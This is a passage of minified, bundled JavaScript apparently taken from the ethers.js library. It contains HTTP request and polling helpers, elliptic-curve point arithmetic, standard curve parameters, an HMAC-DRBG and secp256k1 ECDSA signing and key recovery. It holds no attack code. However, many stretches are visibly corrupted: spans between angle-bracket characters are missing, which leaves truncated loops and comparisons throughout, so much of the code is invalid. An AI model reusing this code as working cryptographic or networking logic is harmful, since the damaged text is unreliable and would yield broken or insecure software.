$f(t)}catch(t){}return Wl(t)}return t}function gd(t,e,r){let n=null;if(null!=e){n=Zf(e);const r=\"string\"==typeof t?{url:t}:mf(t);if(r.headers){0!==Object.keys(r.headers).filter((t=>\"content-type\"===t.toLowerCase())).length||(r.headers=mf(r.headers),r.headers[\"content-type\"]=\"application/json\")}else r.headers={\"content-type\":\"application/json\"};t=r}return function(t,e,r){const n=\"object\"==typeof t&&null!=t.throttleLimit?t.throttleLimit:12;ad.assertArgument(n>0&&n%1==0,\"invalid connection throttle limit\",\"connection.throttleLimit\",n);const A=\"object\"==typeof t?t.throttleCallback:null,i=\"object\"==typeof t&&\"number\"==typeof t.throttleSlotInterval?t.throttleSlotInterval:100;ad.assertArgument(i>0&&i%1==0,\"invalid connection throttle slot interval\",\"connection.throttleSlotInterval\",i);const o=\"object\"==typeof t&&!!t.errorPassThrough,s={};let a=null;const c={method:\"GET\"};let h=!1,g=12e4;if(\"string\"==typeof t)a=t;else if(\"object\"==typeof t){if(null!=t&&null!=t.url||ad.throwArgumentError(\"missing URL\",\"connection.url\",t),a=t.url,\"number\"==typeof t.timeout&&t.timeout>0&&(g=t.timeout),t.headers)for(const e in t.headers)s[e.toLowerCase()]={key:e,value:String(t.headers[e])},[\"if-none-match\",\"if-modified-since\"].indexOf(e.toLowerCase())>=0&&(h=!0);if(c.allowGzip=!!t.allowGzip,null!=t.user&&null!=t.password){\"https:\"!==a.substring(0,6)&&!0!==t.allowInsecureAuthentication&&ad.throwError(\"basic authentication requires a secure https url\",Gl.errors.INVALID_ARGUMENT,{argument:\"url\",url:a,user:t.user,password:\"[REDACTED]\"});const e=t.user+\":\"+t.password;s.authorization={key:\"Authorization\",value:\"Basic \"+Uf(Zf(e))}}null!=t.skipFetchSetup&&(c.skipFetchSetup=!!t.skipFetchSetup),null!=t.fetchOptions&&(c.fetchOptions=mf(t.fetchOptions))}const u=new RegExp(\"^data:([^;:]*)?(;base64)?,(.*)$\",\"i\"),l=a?a.match(u):null;if(l)try{const t={statusCode:200,statusMessage:\"OK\",headers:{\"content-type\":l[1]||\"text/plain\"},body:l[2]?Rf(l[3]):(f=l[3],Zf(f.replace(/%([0-9a-f][0-9a-f])/gi,((t,e)=>String.fromCharCode(parseInt(e,16))))))};let e=t.body;return r&&(e=r(t.body,t)),Promise.resolve(e)}catch(t){ad.throwError(\"processing response error\",Gl.errors.SERVER_ERROR,{body:hd(l[1],l[2]),error:t,requestBody:null,requestMethod:\"GET\",url:a})}var f;e&&(c.method=\"POST\",c.body=e,null==s[\"content-type\"]&&(s[\"content-type\"]={key:\"Content-Type\",value:\"application/octet-stream\"}),null==s[\"content-length\"]&&(s[\"content-length\"]={key:\"Content-Length\",value:String(e.length)}));const p={};Object.keys(s).forEach((t=>{const e=s[t];p[e.key]=e.value})),c.headers=p;const d=function(){let t=null;return{promise:new Promise((function(e,r){g&&(t=setTimeout((()=>{null!=t&&(t=null,r(ad.makeError(\"timeout\",Gl.errors.TIMEOUT,{requestBody:hd(c.body,p[\"content-type\"]),requestMethod:c.method,timeout:g,url:a})))}),g))})),cancel:function(){null!=t&&(clearTimeout(t),t=null)}}}(),I=function(){return sd(this,void 0,void 0,(function*(){for(let t=0;t=300)&&(d.cancel(),ad.throwError(\"bad response\",Gl.errors.SERVER_ERROR,{status:e.statusCode,headers:e.headers,body:hd(s,e.headers?e.headers[\"content-type\"]:null),requestBody:hd(c.body,p[\"content-type\"]),requestMethod:c.method,url:a})),r)try{const t=yield r(s,e);return d.cancel(),t}catch(r){if(r.throttleRetry&&t{let n=null;if(null!=t)try{n=JSON.parse($f(t))}catch(e){ad.throwError(\"invalid JSON\",Gl.errors.SERVER_ERROR,{body:t,error:e})}return r&&(n=r(n,e)),n}))}function ud(t,e){return e||(e={}),null==(e=mf(e)).floor&&(e.floor=0),null==e.ceiling&&(e.ceiling=1e4),null==e.interval&&(e.interval=250),new Promise((function(r,n){let A=null,i=!1;const o=()=>!i&&(i=!0,A&&clearTimeout(A),!0);e.timeout&&(A=setTimeout((()=>{o()&&n(new Error(\"timeout\"))}),e.timeout));const s=e.retryLimit;let a=0;!function A(){return t().then((function(t){if(void 0!==t)o()&&r(t);else if(e.oncePoll)e.oncePoll.once(\"poll\",A);else if(e.onceBlock)e.onceBlock.once(\"block\",A);else if(!i){if(a++,a>s)return void(o()&&n(new Error(\"retry limit reached\")));let t=e.interval*parseInt(String(Math.random()*Math.pow(2,a)));te.ceiling&&(t=e.ceiling),setTimeout(A,t)}return null}),(function(t){o()&&n(t)}))}()}))}var ld=nl(wl());Al(),il();var fd=\"providers/5.7.2\";Al(),il(),Al(),il(),Al(),il(),Al(),il();var pd=nl(sl()),dd=nl(El());function Id(t,e,r){return t(r={path:e,exports:{},require:function(t,e){return function(){throw new Error(\"Dynamic requires are not currently supported by @rollup/plugin-commonjs\")}(null==e&&r.path)}},r.exports),r.exports}var yd=Cd;function Cd(t,e){if(!t)throw new Error(e||\"Assertion failed\")}Cd.equal=function(t,e,r){if(t!=e)throw new Error(r||\"Assertion failed: \"+t+\" != \"+e)};var md=Id((function(t,e){var r=e;function n(t){return 1===t.length?\"0\"+t:t}function A(t){for(var e=\"\",r=0;r>8,o=255&A;i?r.push(i,o):r.push(o)}return r},r.zero2=n,r.toHex=A,r.encode=function(t,e){return\"hex\"===e?A(t):t}})),Bd=Id((function(t,e){var r=e;r.assert=yd,r.toArray=md.toArray,r.zero2=md.zero2,r.toHex=md.toHex,r.encode=md.encode,r.getNAF=function(t,e,r){var n=new Array(Math.max(t.bitLength(),r)+1);n.fill(0);for(var A=1<(A>>1)-1?(A>>1)-a:a,i.isubn(s)):s=0,n[o]=s,i.iushrn(1)}return n},r.getJSF=function(t,e){var r=[[],[]];t=t.clone(),e=e.clone();for(var n,A=0,i=0;t.cmpn(-A)>0||e.cmpn(-i)>0;){var o,s,a=t.andln(3)+A&3,c=e.andln(3)+i&3;3===a&&(a=-1),3===c&&(c=-1),o=1&a?3!==(n=t.andln(7)+A&7)&&5!==n||2!==c?a:-a:0,r[0].push(o),s=1&c?3!==(n=e.andln(7)+i&7)&&5!==n||2!==a?c:-c:0,r[1].push(s),2*A===o+1&&(A=1-A),2*i===s+1&&(i=1-i),t.iushrn(1),e.iushrn(1)}return r},r.cachedProperty=function(t,e,r){var n=\"_\"+e;t.prototype[e]=function(){return void 0!==this[n]?this[n]:this[n]=r.call(this)}},r.parseBytes=function(t){return\"string\"==typeof t?r.toArray(t,\"hex\"):t},r.intFromLE=function(t){return new pd.default(t,\"hex\",\"le\")}})),Ed=Bd.getNAF,wd=Bd.getJSF,vd=Bd.assert;function _d(t,e){this.type=t,this.p=new pd.default(e.p,16),this.red=e.prime?pd.default.red(e.prime):pd.default.mont(this.p),this.zero=new pd.default(0).toRed(this.red),this.one=new pd.default(1).toRed(this.red),this.two=new pd.default(2).toRed(this.red),this.n=e.n&&new pd.default(e.n,16),this.g=e.g&&this.pointFromJSON(e.g,e.gRed),this._wnafT1=new Array(4),this._wnafT2=new Array(4),this._wnafT3=new Array(4),this._wnafT4=new Array(4),this._bitLength=this.n?this.n.bitLength():0;var r=this.n&&this.p.div(this.n);!r||r.cmpn(100)>0?this.redN=null:(this._maxwellTrick=!0,this.redN=this.n.toRed(this.red))}var Qd=_d;function bd(t,e){this.curve=t,this.type=e,this.precomputed=null}_d.prototype.point=function(){throw new Error(\"Not implemented\")},_d.prototype.validate=function(){throw new Error(\"Not implemented\")},_d.prototype._fixedNafMul=function(t,e){vd(t.precomputed);var r=t._getDoubles(),n=Ed(e,1,this._bitLength),A=(1<=i;a--)o=(o<<1)+n[a];s.push(o)}for(var c=this.jpoint(null,null,null),h=this.jpoint(null,null,null),g=A;g>0;g--){for(i=0;i=0;s--){for(var a=0;s>=0&&0===i[s];s--)a++;if(s>=0&&a++,o=o.dblp(a),s<0)break;var c=i[s];vd(0!==c),o=\"affine\"===t.type?c>0?o.mixedAdd(A[c-1>>1]):o.mixedAdd(A[-c-1>>1].neg()):c>0?o.add(A[c-1>>1]):o.add(A[-c-1>>1].neg())}return\"affine\"===t.type?o.toP():o},_d.prototype._wnafMulAdd=function(t,e,r,n,A){var i,o,s,a=this._wnafT1,c=this._wnafT2,h=this._wnafT3,g=0;for(i=0;i=1;i-=2){var l=i-1,f=i;if(1===a[l]&&1===a[f]){var p=[e[l],null,null,e[f]];0===e[l].y.cmp(e[f].y)?(p[1]=e[l].add(e[f]),p[2]=e[l].toJ().mixedAdd(e[f].neg())):0===e[l].y.cmp(e[f].y.redNeg())?(p[1]=e[l].toJ().mixedAdd(e[f]),p[2]=e[l].add(e[f].neg())):(p[1]=e[l].toJ().mixedAdd(e[f]),p[2]=e[l].toJ().mixedAdd(e[f].neg()));var d=[-3,-1,-5,-7,0,7,5,1,3],I=wd(r[l],r[f]);for(g=Math.max(I[0].length,g),h[l]=new Array(g),h[f]=new Array(g),o=0;o=0;i--){for(var E=0;i>=0;){var w=!0;for(o=0;o=0&&E++,m=m.dblp(E),i<0)break;for(o=0;o0?s=c[o][v-1>>1]:v<0&&(s=c[o][-v-1>>1].neg()),m=\"affine\"===s.type?m.mixedAdd(s):m.add(s))}}for(i=0;i=Math.ceil((t.bitLength()+1)/e.step)},bd.prototype._getDoubles=function(t,e){if(this.precomputed&&this.precomputed.doubles)return this.precomputed.doubles;for(var r=[this],n=this,A=0;A=0&&(i=e,o=r),n.negative&&(n=n.neg(),A=A.neg()),i.negative&&(i=i.neg(),o=o.neg()),[{a:n,b:A},{a:i,b:o}]},Sd.prototype._endoSplit=function(t){var e=this.endo.basis,r=e[0],n=e[1],A=n.b.mul(t).divRound(this.n),i=r.b.neg().mul(t).divRound(this.n),o=A.mul(r.a),s=i.mul(n.a),a=A.mul(r.b),c=i.mul(n.b);return{k1:t.sub(o).sub(s),k2:a.add(c).neg()}},Sd.prototype.pointFromX=function(t,e){(t=new pd.default(t,16)).red||(t=t.toRed(this.red));var r=t.redSqr().redMul(t).redIAdd(t.redMul(this.a)).redIAdd(this.b),n=r.redSqrt();if(0!==n.redSqr().redSub(r).cmp(this.zero))throw new Error(\"invalid point\");var A=n.fromRed().isOdd();return(e&&!A||!e&&A)&&(n=n.redNeg()),this.point(t,n)},Sd.prototype.validate=function(t){if(t.inf)return!0;var e=t.x,r=t.y,n=this.a.redMul(e),A=e.redSqr().redMul(e).redIAdd(n).redIAdd(this.b);return 0===r.redSqr().redISub(A).cmpn(0)},Sd.prototype._endoWnafMulAdd=function(t,e,r){for(var n=this._endoWnafT1,A=this._endoWnafT2,i=0;i\":\"\"},Md.prototype.isInfinity=function(){return this.inf},Md.prototype.add=function(t){if(this.inf)return t;if(t.inf)return this;if(this.eq(t))return this.dbl();if(this.neg().eq(t))return this.curve.point(null,null);if(0===this.x.cmp(t.x))return this.curve.point(null,null);var e=this.y.redSub(t.y);0!==e.cmpn(0)&&(e=e.redMul(this.x.redSub(t.x).redInvm()));var r=e.redSqr().redISub(this.x).redISub(t.x),n=e.redMul(this.x.redSub(r)).redISub(this.y);return this.curve.point(r,n)},Md.prototype.dbl=function(){if(this.inf)return this;var t=this.y.redAdd(this.y);if(0===t.cmpn(0))return this.curve.point(null,null);var e=this.curve.a,r=this.x.redSqr(),n=t.redInvm(),A=r.redAdd(r).redIAdd(r).redIAdd(e).redMul(n),i=A.redSqr().redISub(this.x.redAdd(this.x)),o=A.redMul(this.x.redSub(i)).redISub(this.y);return this.curve.point(i,o)},Md.prototype.getX=function(){return this.x.fromRed()},Md.prototype.getY=function(){return this.y.fromRed()},Md.prototype.mul=function(t){return t=new pd.default(t,16),this.isInfinity()?this:this._hasDoubles(t)?this.curve._fixedNafMul(this,t):this.curve.endo?this.curve._endoWnafMulAdd([this],[t]):this.curve._wnafMul(this,t)},Md.prototype.mulAdd=function(t,e,r){var n=[this,e],A=[t,r];return this.curve.endo?this.curve._endoWnafMulAdd(n,A):this.curve._wnafMulAdd(1,n,A,2)},Md.prototype.jmulAdd=function(t,e,r){var n=[this,e],A=[t,r];return this.curve.endo?this.curve._endoWnafMulAdd(n,A,!0):this.curve._wnafMulAdd(1,n,A,2,!0)},Md.prototype.eq=function(t){return this===t||this.inf===t.inf&&(this.inf||0===this.x.cmp(t.x)&&0===this.y.cmp(t.y))},Md.prototype.neg=function(t){if(this.inf)return this;var e=this.curve.point(this.x,this.y.redNeg());if(t&&this.precomputed){var r=this.precomputed,n=function(t){return t.neg()};e.precomputed={naf:r.naf&&{wnd:r.naf.wnd,points:r.naf.points.map(n)},doubles:r.doubles&&{step:r.doubles.step,points:r.doubles.points.map(n)}}}return e},Md.prototype.toJ=function(){return this.inf?this.curve.jpoint(null,null,null):this.curve.jpoint(this.x,this.y,this.curve.one)},kd(xd,Qd.BasePoint),Sd.prototype.jpoint=function(t,e,r){return new xd(this,t,e,r)},xd.prototype.toP=function(){if(this.isInfinity())return this.curve.point(null,null);var t=this.z.redInvm(),e=t.redSqr(),r=this.x.redMul(e),n=this.y.redMul(e).redMul(t);return this.curve.point(r,n)},xd.prototype.neg=function(){return this.curve.jpoint(this.x,this.y.redNeg(),this.z)},xd.prototype.add=function(t){if(this.isInfinity())return t;if(t.isInfinity())return this;var e=t.z.redSqr(),r=this.z.redSqr(),n=this.x.redMul(e),A=t.x.redMul(r),i=this.y.redMul(e.redMul(t.z)),o=t.y.redMul(r.redMul(this.z)),s=n.redSub(A),a=i.redSub(o);if(0===s.cmpn(0))return 0!==a.cmpn(0)?this.curve.jpoint(null,null,null):this.dbl();var c=s.redSqr(),h=c.redMul(s),g=n.redMul(c),u=a.redSqr().redIAdd(h).redISub(g).redISub(g),l=a.redMul(g.redISub(u)).redISub(i.redMul(h)),f=this.z.redMul(t.z).redMul(s);return this.curve.jpoint(u,l,f)},xd.prototype.mixedAdd=function(t){if(this.isInfinity())return t.toJ();if(t.isInfinity())return this;var e=this.z.redSqr(),r=this.x,n=t.x.redMul(e),A=this.y,i=t.y.redMul(e).redMul(this.z),o=r.redSub(n),s=A.redSub(i);if(0===o.cmpn(0))return 0!==s.cmpn(0)?this.curve.jpoint(null,null,null):this.dbl();var a=o.redSqr(),c=a.redMul(o),h=r.redMul(a),g=s.redSqr().redIAdd(c).redISub(h).redISub(h),u=s.redMul(h.redISub(g)).redISub(A.redMul(c)),l=this.z.redMul(o);return this.curve.jpoint(g,u,l)},xd.prototype.dblp=function(t){if(0===t)return this;if(this.isInfinity())return this;if(!t)return this.dbl();var e;if(this.curve.zeroA||this.curve.threeA){var r=this;for(e=0;e=0)return!1;if(r.redIAdd(A),0===this.x.cmp(r))return!0}},xd.prototype.inspect=function(){return this.isInfinity()?\"\":\"\"},xd.prototype.isInfinity=function(){return 0===this.z.cmpn(0)};var Fd=Id((function(t,e){var r=e;r.base=Qd,r.short=Nd,r.mont=null,r.edwards=null})),Pd=Id((function(t,e){var r,n=e,A=Bd.assert;function i(t){\"short\"===t.type?this.curve=new Fd.short(t):\"edwards\"===t.type?this.curve=new Fd.edwards(t):this.curve=new Fd.mont(t),this.g=this.curve.g,this.n=this.curve.n,this.hash=t.hash,A(this.g.validate(),\"Invalid curve\"),A(this.g.mul(this.n).isInfinity(),\"Invalid curve, G*N != O\")}function o(t,e){Object.defineProperty(n,t,{configurable:!0,enumerable:!0,get:function(){var r=new i(e);return Object.defineProperty(n,t,{configurable:!0,enumerable:!0,value:r}),r}})}n.PresetCurve=i,o(\"p192\",{type:\"short\",prime:\"p192\",p:\"ffffffff ffffffff ffffffff fffffffe ffffffff ffffffff\",a:\"ffffffff ffffffff ffffffff fffffffe ffffffff fffffffc\",b:\"64210519 e59c80e7 0fa7e9ab 72243049 feb8deec c146b9b1\",n:\"ffffffff ffffffff ffffffff 99def836 146bc9b1 b4d22831\",hash:dd.default.sha256,gRed:!1,g:[\"188da80e b03090f6 7cbf20eb 43a18800 f4ff0afd 82ff1012\",\"07192b95 ffc8da78 631011ed 6b24cdd5 73f977a1 1e794811\"]}),o(\"p224\",{type:\"short\",prime:\"p224\",p:\"ffffffff ffffffff ffffffff ffffffff 00000000 00000000 00000001\",a:\"ffffffff ffffffff ffffffff fffffffe ffffffff ffffffff fffffffe\",b:\"b4050a85 0c04b3ab f5413256 5044b0b7 d7bfd8ba 270b3943 2355ffb4\",n:\"ffffffff ffffffff ffffffff ffff16a2 e0b8f03e 13dd2945 5c5c2a3d\",hash:dd.default.sha256,gRed:!1,g:[\"b70e0cbd 6bb4bf7f 321390b9 4a03c1d3 56c21122 343280d6 115c1d21\",\"bd376388 b5f723fb 4c22dfe6 cd4375a0 5a074764 44d58199 85007e34\"]}),o(\"p256\",{type:\"short\",prime:null,p:\"ffffffff 00000001 00000000 00000000 00000000 ffffffff ffffffff ffffffff\",a:\"ffffffff 00000001 00000000 00000000 00000000 ffffffff ffffffff fffffffc\",b:\"5ac635d8 aa3a93e7 b3ebbd55 769886bc 651d06b0 cc53b0f6 3bce3c3e 27d2604b\",n:\"ffffffff 00000000 ffffffff ffffffff bce6faad a7179e84 f3b9cac2 fc632551\",hash:dd.default.sha256,gRed:!1,g:[\"6b17d1f2 e12c4247 f8bce6e5 63a440f2 77037d81 2deb33a0 f4a13945 d898c296\",\"4fe342e2 fe1a7f9b 8ee7eb4a 7c0f9e16 2bce3357 6b315ece cbb64068 37bf51f5\"]}),o(\"p384\",{type:\"short\",prime:null,p:\"ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe ffffffff 00000000 00000000 ffffffff\",a:\"ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe ffffffff 00000000 00000000 fffffffc\",b:\"b3312fa7 e23ee7e4 988e056b e3f82d19 181d9c6e fe814112 0314088f 5013875a c656398d 8a2ed19d 2a85c8ed d3ec2aef\",n:\"ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff c7634d81 f4372ddf 581a0db2 48b0a77a ecec196a ccc52973\",hash:dd.default.sha384,gRed:!1,g:[\"aa87ca22 be8b0537 8eb1c71e f320ad74 6e1d3b62 8ba79b98 59f741e0 82542a38 5502f25d bf55296c 3a545e38 72760ab7\",\"3617de4a 96262c6f 5d9e98bf 9292dc29 f8f41dbd 289a147c e9da3113 b5f0b8c0 0a60b1ce 1d7e819d 7a431d7c 90ea0e5f\"]}),o(\"p521\",{type:\"short\",prime:null,p:\"000001ff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff\",a:\"000001ff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffc\",b:\"00000051 953eb961 8e1c9a1f 929a21a0 b68540ee a2da725b 99b315f3 b8b48991 8ef109e1 56193951 ec7e937b 1652c0bd 3bb1bf07 3573df88 3d2c34f1 ef451fd4 6b503f00\",n:\"000001ff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffa 51868783 bf2f966b 7fcc0148 f709a5d0 3bb5c9b8 899c47ae bb6fb71e 91386409\",hash:dd.default.sha512,gRed:!1,g:[\"000000c6 858e06b7 0404e9cd 9e3ecb66 2395b442 9c648139 053fb521 f828af60 6b4d3dba a14b5e77 efe75928 fe1dc127 a2ffa8de 3348b3c1 856a429b f97e7e31 c2e5bd66\",\"00000118 39296a78 9a3bc004 5c8a5fb4 2c7d1bd9 98f54449 579b4468 17afbd17 273e662c 97ee7299 5ef42640 c550b901 3fad0761 353c7086 a272c240 88be9476 9fd16650\"]}),o(\"curve25519\",{type:\"mont\",prime:\"p25519\",p:\"7fffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffed\",a:\"76d06\",b:\"1\",n:\"1000000000000000 0000000000000000 14def9dea2f79cd6 5812631a5cf5d3ed\",hash:dd.default.sha256,gRed:!1,g:[\"9\"]}),o(\"ed25519\",{type:\"edwards\",prime:\"p25519\",p:\"7fffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffed\",a:\"-1\",c:\"1\",d:\"52036cee2b6ffe73 8cc740797779e898 00700a4d4141d8ab 75eb4dca135978a3\",n:\"1000000000000000 0000000000000000 14def9dea2f79cd6 5812631a5cf5d3ed\",hash:dd.default.sha256,gRed:!1,g:[\"216936d3cd6e53fec0a4e231fdd6dc5c692cc7609525a7b2c9562d608f25d51a\",\"6666666666666666666666666666666666666666666666666666666666666658\"]});try{r=null.crash()}catch(t){r=void 0}o(\"secp256k1\",{type:\"short\",prime:\"k256\",p:\"ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe fffffc2f\",a:\"0\",b:\"7\",n:\"ffffffff ffffffff ffffffff fffffffe baaedce6 af48a03b bfd25e8c d0364141\",h:\"1\",hash:dd.default.sha256,beta:\"7ae96a2b657c07106e64479eac3434e99cf0497512f58995c1396c28719501ee\",lambda:\"5363ad4cc05c30e0a5261c028812645a122e22ea20816678df02967c1b23bd72\",basis:[{a:\"3086d221a7d46bcde86c90e49284eb15\",b:\"-e4437ed6010e88286f547fa90abfe4c3\"},{a:\"114ca50f7a8e2f3f657c1108d9d44cfd8\",b:\"3086d221a7d46bcde86c90e49284eb15\"}],gRed:!1,g:[\"79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798\",\"483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8\",r]})}));function Td(t){if(!(this instanceof Td))return new Td(t);this.hash=t.hash,this.predResist=!!t.predResist,this.outLen=this.hash.outSize,this.minEntropy=t.minEntropy||this.hash.hmacStrength,this._reseed=null,this.reseedInterval=null,this.K=null,this.V=null;var e=md.toArray(t.entropy,t.entropyEnc||\"hex\"),r=md.toArray(t.nonce,t.nonceEnc||\"hex\"),n=md.toArray(t.pers,t.persEnc||\"hex\");yd(e.length>=this.minEntropy/8,\"Not enough entropy. Minimum is: \"+this.minEntropy+\" bits\"),this._init(e,r,n)}var Rd=Td;Td.prototype._init=function(t,e,r){var n=t.concat(e).concat(r);this.K=new Array(this.outLen/8),this.V=new Array(this.outLen/8);for(var A=0;A=this.minEntropy/8,\"Not enough entropy. Minimum is: \"+this.minEntropy+\" bits\"),this._update(t.concat(r||[])),this._reseed=1},Td.prototype.generate=function(t,e,r,n){if(this._reseed>this.reseedInterval)throw new Error(\"Reseed is required\");\"string\"!=typeof e&&(n=r,r=e,e=null),r&&(r=md.toArray(r,n||\"hex\"),this._update(r));for(var A=[];A.length\"};var Ld=Bd.assert;function Od(t,e){if(t instanceof Od)return t;this._importDER(t,e)||(Ld(t.r&&t.s,\"Signature without r or s\"),this.r=new pd.default(t.r,16),this.s=new pd.default(t.s,16),void 0===t.recoveryParam?this.recoveryParam=null:this.recoveryParam=t.recoveryParam)}var Yd=Od;function Kd(){this.place=0}function Jd(t,e){var r=t[e.place++];if(!(128&r))return r;var n=15&r;if(0===n||n>4)return!1;for(var A=0,i=0,o=e.place;i>>=0;return!(A<=127)&&(e.place=o,A)}function jd(t){for(var e=0,r=t.length-1;!t[e]&&!(128&t[e+1])&&e>>3);for(t.push(128|r);--r;)t.push(e>>>(r<<3)&255);t.push(e)}}Od.prototype._importDER=function(t,e){t=Bd.toArray(t,e);var r=new Kd;if(48!==t[r.place++])return!1;var n=Jd(t,r);if(!1===n)return!1;if(n+r.place!==t.length)return!1;if(2!==t[r.place++])return!1;var A=Jd(t,r);if(!1===A)return!1;var i=t.slice(r.place,A+r.place);if(r.place+=A,2!==t[r.place++])return!1;var o=Jd(t,r);if(!1===o)return!1;if(t.length!==o+r.place)return!1;var s=t.slice(r.place,o+r.place);if(0===i[0]){if(!(128&i[1]))return!1;i=i.slice(1)}if(0===s[0]){if(!(128&s[1]))return!1;s=s.slice(1)}return this.r=new pd.default(i),this.s=new pd.default(s),this.recoveryParam=null,!0},Od.prototype.toDER=function(t){var e=this.r.toArray(),r=this.s.toArray();for(128&e[0]&&(e=[0].concat(e)),128&r[0]&&(r=[0].concat(r)),e=jd(e),r=jd(r);!(r[0]||128&r[1]);)r=r.slice(1);var n=[2];zd(n,e.length),(n=n.concat(e)).push(2),zd(n,r.length);var A=n.concat(r),i=[48];return zd(i,A.length),i=i.concat(A),Bd.encode(i,t)};var qd=function(){throw new Error(\"unsupported\")},Xd=Bd.assert;function Vd(t){if(!(this instanceof Vd))return new Vd(t);\"string\"==typeof t&&(Xd(Object.prototype.hasOwnProperty.call(Pd,t),\"Unknown curve \"+t),t=Pd[t]),t instanceof Pd.PresetCurve&&(t={curve:t}),this.curve=t.curve.curve,this.n=this.curve.n,this.nh=this.n.ushrn(1),this.g=this.curve.g,this.g=t.curve.g,this.g.precompute(t.curve.n.bitLength()+1),this.hash=t.hash||t.curve.hash}var Wd=Vd;Vd.prototype.keyPair=function(t){return new Hd(this,t)},Vd.prototype.keyFromPrivate=function(t,e){return Hd.fromPrivate(this,t,e)},Vd.prototype.keyFromPublic=function(t,e){return Hd.fromPublic(this,t,e)},Vd.prototype.genKeyPair=function(t){t||(t={});for(var e=new Rd({hash:this.hash,pers:t.pers,persEnc:t.persEnc||\"utf8\",entropy:t.entropy||qd(this.hash.hmacStrength),entropyEnc:t.entropy&&t.entropyEnc||\"utf8\",nonce:this.n.toArray()}),r=this.n.byteLength(),n=this.n.sub(new pd.default(2));;){var A=new pd.default(e.generate(r));if(!(A.cmp(n)>0))return A.iaddn(1),this.keyFromPrivate(A)}},Vd.prototype._truncateToN=function(t,e){var r=8*t.byteLength()-this.n.bitLength();return r>0&&(t=t.ushrn(r)),!e&&t.cmp(this.n)>=0?t.sub(this.n):t},Vd.prototype.sign=function(t,e,r,n){\"object\"==typeof r&&(n=r,r=null),n||(n={}),e=this.keyFromPrivate(e,r),t=this._truncateToN(new pd.default(t,16));for(var A=this.n.byteLength(),i=e.getPrivate().toArray(\"be\",A),o=t.toArray(\"be\",A),s=new Rd({hash:this.hash,entropy:i,nonce:o,pers:n.pers,persEnc:n.persEnc||\"utf8\"}),a=this.n.sub(new pd.default(1)),c=0;;c++){var h=n.k?n.k(c):new pd.default(s.generate(this.n.byteLength()));if(!((h=this._truncateToN(h,!0)).cmpn(1)<=0||h.cmp(a)>=0)){var g=this.g.mul(h);if(!g.isInfinity()){var u=g.getX(),l=u.umod(this.n);if(0!==l.cmpn(0)){var f=h.invm(this.n).mul(l.mul(e.getPrivate()).iadd(t));if(0!==(f=f.umod(this.n)).cmpn(0)){var p=(g.getY().isOdd()?1:0)|(0!==u.cmp(l)?2:0);return n.canonical&&f.cmp(this.nh)>0&&(f=this.n.sub(f),p^=1),new Yd({r:l,s:f,recoveryParam:p})}}}}}},Vd.prototype.verify=function(t,e,r,n){t=this._truncateToN(new pd.default(t,16)),r=this.keyFromPublic(r,n);var A=(e=new Yd(e,\"hex\")).r,i=e.s;if(A.cmpn(1)<0||A.cmp(this.n)>=0)return!1;if(i.cmpn(1)<0||i.cmp(this.n)>=0)return!1;var o,s=i.invm(this.n),a=s.mul(t).umod(this.n),c=s.mul(A).umod(this.n);return this.curve._maxwellTrick?!(o=this.g.jmulAdd(a,r.getPublic(),c)).isInfinity()&&o.eqXToP(A):!(o=this.g.mulAdd(a,r.getPublic(),c)).isInfinity()&&0===o.getX().umod(this.n).cmp(A)},Vd.prototype.recoverPubKey=function(t,e,r,n){Xd((3&r)===r,\"The recovery param is more than two bits\"),e=new Yd(e,n);var A=this.n,i=new pd.default(t),o=e.r,s=e.s,a=1&r,c=r>>1;if(o.cmp(this.curve.p.umod(this.curve.n))>=0&&c)throw new Error(\"Unable to find sencond key candinate\");o=c?this.curve.pointFromX(o.add(this.curve.n),a):this.curve.pointFromX(o,a);var h=e.r.invm(A),g=A.sub(i).mul(h).umod(A),u=s.mul(h).umod(A);return this.g.mulAdd(g,o,u)},Vd.prototype.getKeyRecoveryParam=function(t,e,r,n){if(null!==(e=new Yd(e,n)).recoveryParam)return e.recoveryParam;for(var A=0;A<4;A++){var i;try{i=this.recoverPubKey(t,e,A)}catch(t){continue}if(i.eq(r))return A}throw new Error(\"Unable to find valid recovery factor\")};var Zd=Id((function(t,e){var r=e;r.version=\"6.5.4\",r.utils=Bd,r.rand=function(){throw new Error(\"unsupported\")},r.curve=Fd,r.curves=Pd,r.ec=Wd,r.eddsa=null})).ec;Al(),il();var $d=new Gl(\"signing-key/5.7.0\"),tI=null;function eI(){return tI||(tI=new Zd(\"secp256k1\")),tI}var rI=class{constructor(t){If(this,\"curve\",\"secp256k1\"),If(this,\"privateKey\",Wl(t)),32!==Zl(this.privateKey)&&$d.throwArgumentError(\"invalid private key\",\"privateKey\",\"[[ REDACTED ]]\");const e=eI().keyFromPrivate(jl(this.privateKey));If(this,\"publicKey\",\"0x\"+e.getPublic(!1,\"hex\")),If(this,\"compressedPublicKey\",\"0x\"+e.getPublic(!0,\"hex\")),If(this,\"_isSigningKey\",!0)}_addPoint(t){const e=eI().keyFromPublic(jl(this.publicKey)),r=eI().keyFromPublic(jl(t));return\"0x\"+e.pub.add(r.pub).encodeCompressed(\"hex\")}signDigest(t){const e=eI().keyFromPrivate(jl(this.privateKey)),r=jl(t);32!==r.length&&$d.throwArgumentError(\"bad digest length\",\"digest\",t);const n=e.sign(r,{canonical:!0});return nf({recoveryParam:n.recoveryParam,r:rf(\"0x\"+n.r.toString(16),32),s:rf(\"0x\"+n.s.toString(16),32)})}computeSharedSecret(t){const e=eI().keyFromPrivate(jl(this.privateKey)),r=eI().keyFromPublic(jl(nI(t)));return rf(\"0x\"+e.derive(r.getPublic()).toString(16),32)}static isSigningKey(t){return!(!t||!t._isSigningKey)}};function nI(t,e){const r=jl(t);if(32===r.length){const t=new rI(r);return e?\"0x\"+eI().keyFromPrivate(r).getPublic(!0,\"hex\"):t.publicKey}return 